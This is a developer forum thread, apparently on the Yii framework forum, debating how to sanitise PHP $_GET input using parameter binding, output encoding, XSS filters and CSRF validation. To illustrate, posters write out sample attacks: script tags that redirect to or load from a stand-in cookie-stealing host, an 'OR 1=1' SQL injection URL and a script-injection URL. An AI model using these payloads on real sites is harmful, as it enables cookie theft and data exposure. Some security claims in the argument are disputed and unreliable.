Making GET safe

Hi,

Does anyone know how to make $_GET safe?

Either using Yii or PHP, preferably if Yii has something then thats brilliant if Yii does not have anything then plain old PHP will do.

It depends on your use.

If you use the data from the GET in a query, use parameters. They will generate prepared statements.

If you are outputting the data, use CHtml::Encode.

Using params is enough to save queries from sql injection BUT you can still be XSS injected .

Using CHtml::encode, is not safe either, as i can still pass some nasty XSS exploits through this.

What you need, is a XSS filter that will clean the data before you process it in ANY way.

You can do this with HTML Purifier (which is a memory monster) or you can use a XSS filter class, i use the one from CodeIgniter as CI is one of the frameworks i work with many times.

After the implementation of such filter, you can just do:

//here $_POST is UNSAFE.

$_POST=XssClean::clean($_POST);//here $_POST gets cleaned

//here $_POST is clean .

twisted1919, what about converting this XSS filter to an Yii extension?

It’s built into Yii, isn’t it?

If you want to make sure that your app is not suspect to cross site request forgery (CSRF), you can enable csrfValidation in your app:

return array(

    'components'=>array(

        'request'=>array(

            'enableCsrfValidation'=>true,

        ),

    ),

);

Then each form will carry a hidden hash value which will prevent any malicious users from tampering with it.

So, if you use parameters instead of grabbing values directly from GET, use html::encode and the HTML purifier, in addition to csrf prevention - then you can use cookie attack prevention, etc. also.

See Yii Guide Security.

Yii only offers HTML Purifier, which is a third party tool, and as i said, a memory monster.

Making the filter that i am talking about into a Yii extension, wouldn’t be the best idea, as it is a part of another framework and i don’t really know if i am allowed to do it .

Anyhow, a good practice is to typecast your integer variables, so $id=(int)$_GET[‘id’] is perfectly safe.

Don’t do this for strings, won’t have any effect.

Yes, their license allows that.

Are you saying the Yii params is not safe out of the box?

Nope, i am not saying this.

Yii binding params is perfectly safe for making sure that you don’t get SQL Injection into your queries.

This is the purpose of using them, and they are doing a perfect job.

Beside sql injection, an application can be vulnerable to other attacks, and one of them is XSS.

Let’s say you have a form with a textarea, and i write in the textarea following piece of code:

<script>

window.location.href='http://www.a-bad-site-for-cookie-stealing.com';

</script>

OR

<script src="http://www.a-bad-site-for-cookie-stealing.com/steal-my-cookies"></script>

While, that piece of code is perfectly safe for mysql(even if you don’t use param binding), for the html output is a great problem because at a point, you will echo the content of this textarea in your site (this can be a comment to a post) and when you do it… well you get the point

That’s why, you need a XSS FILTER, to remove all the malicious code that might be saved into your database as safe content, when in fact it isn’t.

An example that you see all over the internet is something like this:

Consider following url:

www.site.com/index.php?user_id=1

Then in your app you will have

$user_id=$_GET[‘user_id’];

At this point, this is a danger for MYSQL and presents an option for doing a XSS attack.

If i don’t use param binding and do a sql like:

->findAll(‘user_id=’.$user_id);

then the attacker can just transform the url like

www.site.com/index.php?user_id=-1’ OR 1=1

Which for mysql literally means to show all records for that table.

Now, the XSS problem, is that i can also append in the url something like:

www.site.com/index.php?user_id=<script>document.write(‘some evil script’);</script>

and if for some reason you do a echo $user_id, you’re doom.

Hope it is clear enough .

Like I said, you can prevent people from tampering with your form data by enabling the csrf validation component - that’s basically a very effective way of preventing cross site request forgery attacks.

That, and using parameters instead of passing get variables directly, is sure to make your app secure.

And, as others have said: always use a filter when you echo your user inputted data.

If you’re concerned about cookie hi-jacking, enable the safe cookie component as well.

@jacmoe - i noticed you are making a big confusion between the XSS attacks and CSRF attacks.

They are not the same and the way of exploiting an application differs for both cases.

No I am not confused.

It’s you who’s harping on about XSS - when the original question wasn’t about XSS in particular.

I know that XSS and CSRF are different things, but you need to look beyond just XSS.

Anti-CSRF measures will make XSS attacks nearly impossible because the attackers have to predict the CSRF token - one way to do that is to hi-jack the session - which is why you probably would want to enable the cookie hi-jack prevention component.

I am just saying that it’s more than just XSS, and you need to think about security as a whole.

If you use db parameters and sanitise/encode what you output to the browser, you are pretty safe.

This article is a good read:

exploiting-csrf-protected-xss

It clearly shows that XSS and CSRF, cookie-hijack, etc. goes hand in hand.

It’s necessary to look at the big picture if you want to ensure that your app is as safe as it can be.

This is so wrong :

The anti CSRF method that Yii uses, is designed to work with the $_POST array, not with $_GET, so even if you your forms are protected by a CSRF token but you don’t clean your $_GET, you are still 100% vulnerable.

I am "harping" about XSS because i know what this can do.

While a CSRF attack needs a bit of help from the user himself sometimes( * click a link in email or smth similar), the XSS doesn’t need anything beside an attacker that knows what he is doing.

• To prevent CSRF attacks doesn’t mean that you only need to deny a user to submit a form from another domain or to prevent him to alter the data somehow, it also means that you take measures to deny destructive actions from users that aren’t who they claim to be, even if the request is coming from $_POST or $_GET. And yes, checking the permissions is not enough, because the action could be done by an administrator who has the right privileges, but without knowing what he is doing (ie visit a site which has an hidden iframe pointing to his own domain with a destructive action). And trust me, the list can go on .

You have a valid point here, it is more than XSS, but XSS is number one attack used to exploit applications, followed by sql injection and by far comes the csrf/rfi/etc exploits.

Having all those said, i won’t go into deeper discussions with this, because i made my point very clear.

It’s your own decision to do like you do, but trust me, you need to do much more than this .

I need to do much more than exactly what?

All kinds of input should not be trusted.

And, like you said, when dealing with input, like a GET variable, always take measures - like using parameters and never echo any user inputted data without sanitizing it first.

That’s good advice.

I just wanted to highlight some of the security related functionality which is built into Yii.

You mentioned the HTML purifier - which really hasn’t got much to do with security IMO.

It’s really only useful if you allow HTML to be inputted by your users and want to clean that up, but most often the purification is done by whatever HTML editing components you’re using, like Tinymce.

Since you seem to be holding a grudge, I won’t be pursuing this topic no more.

I don’t want to ruin your show.

And I don’t want to waste my time on proving anything to anyone.

Who claims to know what decisions I make or what I do - because you don’t.

This is not a pissing contest, is it?